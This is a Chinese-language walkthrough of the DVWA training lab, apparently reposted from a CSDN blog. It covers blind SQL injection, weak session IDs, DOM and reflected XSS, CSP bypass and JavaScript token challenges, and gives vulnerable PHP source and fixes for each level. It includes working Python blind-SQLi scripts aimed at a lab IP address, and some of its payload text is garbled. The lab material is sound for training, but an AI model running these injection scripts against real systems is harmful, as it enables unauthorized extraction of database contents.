import timeimport requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'headers = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',    'Cookie': 'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=medium'}flag = ''for i in range(1, 100):    min = 1    max = 130    mid = int((min + max) / 2)    while min < max:        data = {            "id": f'1^if(ascii(substr((select(database())),{i},1))>{mid},0,1)',            'Submit': 'Submit'        }        resp = requests.post(url, headers=headers, data=data)        if 'User ID is MISSING from the database.' in resp.text:            max = mid        else:            min = mid + 1        mid = (min + max) // 2    flag += chr(mid)    print(flag)

在这里插入图片描述

源码和上面的medium意义的,只是返回的结果统一。1

3、High

直接脚本:

import timeimport requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'flag = ''for i in range(1, 100):    min = 1    max = 130    mid = int((min + max) / 2)    while min < max:        payload=f"id=1'%20and%20if((ascii(substr((select%20database())%2C{i}%2C1))%3E{mid})%2C1%2C0)%23;"        headers={            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',            'Cookie':payload+' PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=high'        }        resp = requests.post(url, headers=headers)        if 'User ID is MISSING from the database.' in resp.text:            max = mid        else:            min = mid + 1        mid = (min + max) // 2    flag += chr(mid)    print(flag)

在这里插入图片描述

原本想着需要写个脚本先访问弹窗页,然后再带Cookie访问返回页,测试了下发现,直接更改主页Cookie即可,因为弹窗页的作业就是发送Set-Cookie更改主页Cookie,从Cookie中取id数据查询的。

源码:

if( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {// Get resultstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= '
User ID exists in the database.
'
;}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '
User ID is MISSING from the database.
'
;}}?>

4、Impossible

源码:

if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );$exists = false;// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$exists = $data->rowCount();break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 1) {$row = $result->fetchArray();$numrows = $row[ 'numrows' ];$exists = ($numrows == 1);}}break;}}// Get resultsif ($exists) {// Feedback for end user$html .= '
User ID exists in the database.
'
;} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '
User ID is MISSING from the database.
'
;}}// Generate Anti-CSRF tokengenerateSessionToken();?>

增加了token,并且id必须是整数,而且使用了预编译,返回的报错结果也统一,防止了sql注入。

八、Weak Session IDs

1、Low

源码:

$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value);}?>

使用post请求,没有Session则先置0,并返回给客户端,每请求一次,dvwaSession的值+1,不安全因为Session的太容易猜测了

2、Medium

源码:

$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();setcookie("dvwaSession", $cookie_value);}?>

以time()时间来作为session,不安全,因为time()产生的数字比较短,而且很容易就能看出来是time()函数的结果,在一定时间内是可以进行爆破的。

3、High

源码:

$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;$cookie_value = md5($_SESSION['last_session_id_high']);setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);}?>

这里的Cookie的值为md5加密的自增整数值,并且设置了有效期是1小时,规定了服务器路径和域名,但是依旧太简单了,有规律,太容易被破解了,md5好歹加下盐什么的吧。

4、Impossible

$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);}?>

这个Cookie就比较安全,拼接了随机数+时间+自定义字符串,使用sha-1加密,在不知道随机数种子和自定义字符串的情况下,想要1小时内爆破,几乎不可能。

九、XSS(DOM)

1、Low

在这里插入图片描述
源码:

<script>if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write(" + decodeURI(lang) + "");document.write("");}    document.write("");document.write("");document.write("");document.write("");script>

直接将default后面的数据插入了HTML页面中

2、Medium

在这里插入图片描述

源码:

// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, ") !== false) {header ("location: ?default=English");exit;}}?>

在后端对

3、High

源码:

// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}}?>

白名单进行过滤,继续用medium的就行,default数据不发送到后端。
在这里插入图片描述

4、Impossible

if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write("<option value='" + lang + "'>" + (lang) + "option>");document.write("<option value='' disabled='disabled'>----option>");}    document.write("<option value='English'>Englishoption>");document.write("<option value='French'>Frenchoption>");document.write("<option value='Spanish'>Spanishoption>");document.write("<option value='German'>Germanoption>");

对获取到的数据不进行URL解码,而我们GET请求URL中的数据是URL编码过的,相当于使用了编码防止。

十、XSS(Reflected)

1、Low

##
源码:

header ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end user$html .= '
Hello ' . $_GET[ 'name' ] . '
'
;}?>

关闭了XSS保护,而且将name参数直接拼接到了页面导致的。

2、Medium

在这里插入图片描述
源码:

header ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '";}$page[ 'body' ] .= '

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

'
;

只信任$headerCSP中的加载的资源,因此要从CSP域名中的资源中触发。

在这里插入图片描述
在这里插入图片描述

2、Medium

在这里插入图片描述
源码:

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will workheader ("X-XSS-Protection: 0");# ?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "" . $_POST['include'] . "";}$page[ 'body' ] .= '

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

'
;

只允许nonce的特定的内敛脚本块,因此使用script要加上给出的nonce参数

3、High

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
源码:

$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "" . $_POST['include'] . "";}$page[ 'body' ] .= '

The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

1+2+3+4+5=

'
;
function clickButton() {    var s = document.createElement("script");    s.src = "source/jsonp.php?callback=solveSum";    document.body.appendChild(s);}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});}
header("Content-Type: application/json; charset=UTF-8");if (array_key_exists ("callback", $_GET)) {$callback = $_GET['callback'];} else {return "";}$outp = array ("answer" => "15");echo $callback . "(".json_encode($outp).")";?>

jsonp.php接受callback参数的,源代码中一旦点击solve即向jsonp.php发送callback为solveSum,jsonp.php返回solveSum({answer:15})触发js的solveSum函数获取15并嵌入页面。因此可以利用include接收内容,调用jsonp.php进行弹窗。

4、Impossible

header("Content-Type: application/json; charset=UTF-8");$outp = array ("answer" => "15");echo "solveSum (".json_encode($outp).")";?>

直接将返回限制死为solveSum。

十三、JavaScript

1、Low

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里的token是前端利用加密生成的。

2、Medium

在这里插入图片描述
在这里插入图片描述

token只是用了换掉字符串顺序+XX的方法生成

3、High

在这里插入图片描述

JS混淆了,上百度找个解密工具

(function() {    'use strict';    var ERROR = 'input is invalid type';    var WINDOW = typeof window === 'object';    var root = WINDOW ? window : {};    if (root.JS_SHA256_NO_WINDOW) {        WINDOW = false    }    var WEB_WORKER = !WINDOW && typeof self === 'object';    var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;    if (NODE_JS) {        root = global    } else if (WEB_WORKER) {        root = self    }    var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;    var AMD = typeof define === 'function' && define.amd;    var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';    var HEX_CHARS = '0123456789abcdef'.split('');    var EXTRA = [-2147483648, 8388608, 32768, 128];    var SHIFT = [24, 16, 8, 0];    var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];    var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];    var blocks = [];    if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {        Array.isArray = function(obj) {            return Object.prototype.toString.call(obj) === '[object Array]'        }    }    if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {        ArrayBuffer.isView = function(obj) {            return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer        }    }    var createOutputMethod = function(outputType, is224) {            return function(message) {                return new Sha256(is224, true).update(message)[outputType]()            }        };    var createMethod = function(is224) {            var method = createOutputMethod('hex', is224);            if (NODE_JS) {                method = nodeWrap(method, is224)            }            method.create = function() {                return new Sha256(is224)            };            method.update = function(message) {                return method.create().update(message)            };            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {                var type = OUTPUT_TYPES[i];                method[type] = createOutputMethod(type, is224)            }            return method        };    var nodeWrap = function(method, is224) {            var crypto = eval("require('crypto')");            var Buffer = eval("require('buffer').Buffer");            var algorithm = is224 ? 'sha224' : 'sha256';            var nodeMethod = function(message) {                    if (typeof message === 'string') {                        return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')                    } else {                        if (message === null || message === undefined) {throw new Error(ERROR)                        } else if (message.constructor === ArrayBuffer) {message = new Uint8Array(message)                        }                    }                    if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {                        return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')                    } else {                        return method(message)                    }                };            return nodeMethod        };    var createHmacOutputMethod = function(outputType, is224) {            return function(key, message) {                return new HmacSha256(key, is224, true).update(message)[outputType]()            }        };    var createHmacMethod = function(is224) {            var method = createHmacOutputMethod('hex', is224);            method.create = function(key) {                return new HmacSha256(key, is224)            };            method.update = function(key, message) {                return method.create(key).update(message)            };            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {                var type = OUTPUT_TYPES[i];                method[type] = createHmacOutputMethod(type, is224)            }            return method        };    function Sha256(is224, sharedMemory) {        if (sharedMemory) {            blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;            this.blocks = blocks        } else {            this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]        }        if (is224) {            this.h0 = 0xc1059ed8;            this.h1 = 0x367cd507;            this.h2 = 0x3070dd17;            this.h3 = 0xf70e5939;            this.h4 = 0xffc00b31;            this.h5 = 0x68581511;            this.h6 = 0x64f98fa7;            this.h7 = 0xbefa4fa4        } else {            this.h0 = 0x6a09e667;            this.h1 = 0xbb67ae85;            this.h2 = 0x3c6ef372;            this.h3 = 0xa54ff53a;            this.h4 = 0x510e527f;            this.h5 = 0x9b05688c;            this.h6 = 0x1f83d9ab;            this.h7 = 0x5be0cd19        }        this.block = this.start = this.bytes = this.hBytes = 0;        this.finalized = this.hashed = false;        this.first = true;        this.is224 = is224    }    Sha256.prototype.update = function(message) {        if (this.finalized) {            return        }        var notString, type = typeof message;        if (type !== 'string') {            if (type === 'object') {                if (message === null) {                    throw new Error(ERROR)                } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {                    message = new Uint8Array(message)                } else if (!Array.isArray(message)) {                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {                        throw new Error(ERROR)                    }                }            } else {                throw new Error(ERROR)            }            notString = true        }        var code, index = 0,            i, length = message.length,            blocks = this.blocks;        while (index < length) {            if (this.hashed) {                this.hashed = false;                blocks[0] = this.block;                blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0            }            if (notString) {                for (i = this.start; index < length && i < 64; ++index) {                    blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]                }            } else {                for (i = this.start; index < length && i < 64; ++index) {                    code = message.charCodeAt(index);                    if (code < 0x80) {                        blocks[i >> 2] |= code << SHIFT[i++ & 3]                    } else if (code < 0x800) {                        blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]                    } else if (code < 0xd800 || code >= 0xe000) {                        blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]                    } else {                        code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));                        blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]                    }                }            }            this.lastByteIndex = i;            this.bytes += i - this.start;            if (i >= 64) {                this.block = blocks[16];                this.start = i - 64;                this.hash();                this.hashed = true            } else {                this.start = i            }        }        if (this.bytes > 4294967295) {            this.hBytes += this.bytes / 4294967296 << 0;            this.bytes = this.bytes % 4294967296        }        return this    };    Sha256.prototype.finalize = function() {        if (this.finalized) {            return        }        this.finalized = true;        var blocks = this.blocks,            i = this.lastByteIndex;        blocks[16] = this.block;        blocks[i >> 2] |= EXTRA[i & 3];        this.block = blocks[16];        if (i >= 56) {            if (!this.hashed) {                this.hash()            }            blocks[0] = this.block;            blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0        }        blocks[14] = this.hBytes << 3 | this.bytes >>> 29;        blocks[15] = this.bytes << 3;        this.hash()    };    Sha256.prototype.hash = function() {        var a = this.h0,            b = this.h1,            c = this.h2,            d = this.h3,            e = this.h4,            f = this.h5,            g = this.h6,            h = this.h7,            blocks = this.blocks,            j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;        for (j = 16; j < 64; ++j) {            t1 = blocks[j - 15];            s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);            t1 = blocks[j - 2];            s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);            blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0        }        bc = b & c;        for (j = 0; j < 64; j += 4) {            if (this.first) {                if (this.is224) {                    ab = 300032;                    t1 = blocks[0] - 1413257819;                    h = t1 - 150054599 << 0;                    d = t1 + 24177077 << 0                } else {                    ab = 704751109;                    t1 = blocks[0] - 210244248;                    h = t1 - 1521486534 << 0;                    d = t1 + 143694565 << 0                }                this.first = false            } else {                s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));                s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));                ab = a & b;                maj = ab ^ (a & c) ^ bc;                ch = (e & f) ^ (~e & g);                t1 = h + s1 + ch + K[j] + blocks[j];                t2 = s0 + maj;                h = d + t1 << 0;                d = t1 + t2 << 0            }            s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));            s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));            da = d & a;            maj = da ^ (d & b) ^ ab;            ch = (h & e) ^ (~h & f);            t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];            t2 = s0 + maj;            g = c + t1 << 0;            c = t1 + t2 << 0;            s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));            s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));            cd = c & d;            maj = cd ^ (c & a) ^ da;            ch = (g & h) ^ (~g & e);            t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];            t2 = s0 + maj;            f = b + t1 << 0;            b = t1 + t2 << 0;            s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));            s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));            bc = b & c;            maj = bc ^ (b & d) ^ cd;            ch = (f & g) ^ (~f & h);            t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];            t2 = s0 + maj;            e = a + t1 << 0;            a = t1 + t2 << 0        }        this.h0 = this.h0 + a << 0;        this.h1 = this.h1 + b << 0;        this.h2 = this.h2 + c << 0;        this.h3 = this.h3 + d << 0;        this.h4 = this.h4 + e << 0;        this.h5 = this.h5 + f << 0;        this.h6 = this.h6 + g << 0;        this.h7 = this.h7 + h << 0    };    Sha256.prototype.hex = function() {        this.finalize();        var h0 = this.h0,            h1 = this.h1,            h2 = this.h2,            h3 = this.h3,            h4 = this.h4,            h5 = this.h5,            h6 = this.h6,            h7 = this.h7;        var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];        if (!this.is224) {            hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]        }        return hex    };    Sha256.prototype.toString = Sha256.prototype.hex;    Sha256.prototype.digest = function() {        this.finalize();        var h0 = this.h0,            h1 = this.h1,            h2 = this.h2,            h3 = this.h3,            h4 = this.h4,            h5 = this.h5,            h6 = this.h6,            h7 = this.h7;        var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];        if (!this.is224) {            arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)        }        return arr    };    Sha256.prototype.array = Sha256.prototype.digest;    Sha256.prototype.arrayBuffer = function() {        this.finalize();        var buffer = new ArrayBuffer(this.is224 ? 28 : 32);        var dataView = new DataView(buffer);        dataView.setUint32(0, this.h0);        dataView.setUint32(4, this.h1);        dataView.setUint32(8, this.h2);        dataView.setUint32(12, this.h3);        dataView.setUint32(16, this.h4);        dataView.setUint32(20, this.h5);        dataView.setUint32(24, this.h6);        if (!this.is224) {            dataView.setUint32(28, this.h7)        }        return buffer    };    function HmacSha256(key, is224, sharedMemory) {        var i, type = typeof key;        if (type === 'string') {            var bytes = [],                length = key.length,                index = 0,                code;            for (i = 0; i < length; ++i) {                code = key.charCodeAt(i);                if (code < 0x80) {                    bytes[index++] = code                } else if (code < 0x800) {                    bytes[index++] = (0xc0 | (code >> 6));                    bytes[index++] = (0x80 | (code & 0x3f))                } else if (code < 0xd800 || code >= 0xe000) {                    bytes[index++] = (0xe0 | (code >> 12));                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));                    bytes[index++] = (0x80 | (code & 0x3f))                } else {                    code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));                    bytes[index++] = (0xf0 | (code >> 18));                    bytes[index++] = (0x80 | ((code >> 12) & 0x3f));                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));                    bytes[index++] = (0x80 | (code & 0x3f))                }            }            key = bytes        } else {            if (type === 'object') {                if (key === null) {                    throw new Error(ERROR)                } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {                    key = new Uint8Array(key)                } else if (!Array.isArray(key)) {                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {                        throw new Error(ERROR)                    }                }            } else {                throw new Error(ERROR)            }        }        if (key.length > 64) {            key = (new Sha256(is224, true)).update(key).array()        }        var oKeyPad = [],            iKeyPad = [];        for (i = 0; i < 64; ++i) {            var b = key[i] || 0;            oKeyPad[i] = 0x5c ^ b;            iKeyPad[i] = 0x36 ^ b        }        Sha256.call(this, is224, sharedMemory);        this.update(iKeyPad);        this.oKeyPad = oKeyPad;        this.inner = true;        this.sharedMemory = sharedMemory    }    HmacSha256.prototype = new Sha256();    HmacSha256.prototype.finalize = function() {        Sha256.prototype.finalize.call(this);        if (this.inner) {            this.inner = false;            var innerHash = this.array();            Sha256.call(this, this.is224, this.sharedMemory);            this.update(this.oKeyPad);            this.update(innerHash);            Sha256.prototype.finalize.call(this)        }    };    var exports = createMethod();    exports.sha256 = exports;    exports.sha224 = createMethod(true);    exports.sha256.hmac = createHmacMethod();    exports.sha224.hmac = createHmacMethod(true);    if (COMMON_JS) {        module.exports = exports    } else {        root.sha256 = exports.sha256;        root.sha224 = exports.sha224;        if (AMD) {            define(function() {                return exports            })        }    }})();function do_something(e) {    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];    return t}function token_part_3(t, y = "ZZ") {    document.getElementById("token").value = sha256(document.getElementById("token").value + y)}function token_part_2(e = "YY") {    document.getElementById("token").value = sha256(e + document.getElementById("token").value)}function token_part_1(a, b) {    document.getElementById("token").value = do_something(document.getElementById("phrase").value)}document.getElementById("phrase").value = "";setTimeout(function() {    token_part_2("XX")}, 300);document.getElementById("send").addEventListener("click", token_part_3);token_part_1("ABCD", 44);

执行part1,然后延迟300ms执行part2,点击按钮执行part3

在这里插入图片描述

来源地址:https://blog.csdn.net/weixin_53090346/article/details/128931620

阅读原文内容投诉

免责声明:

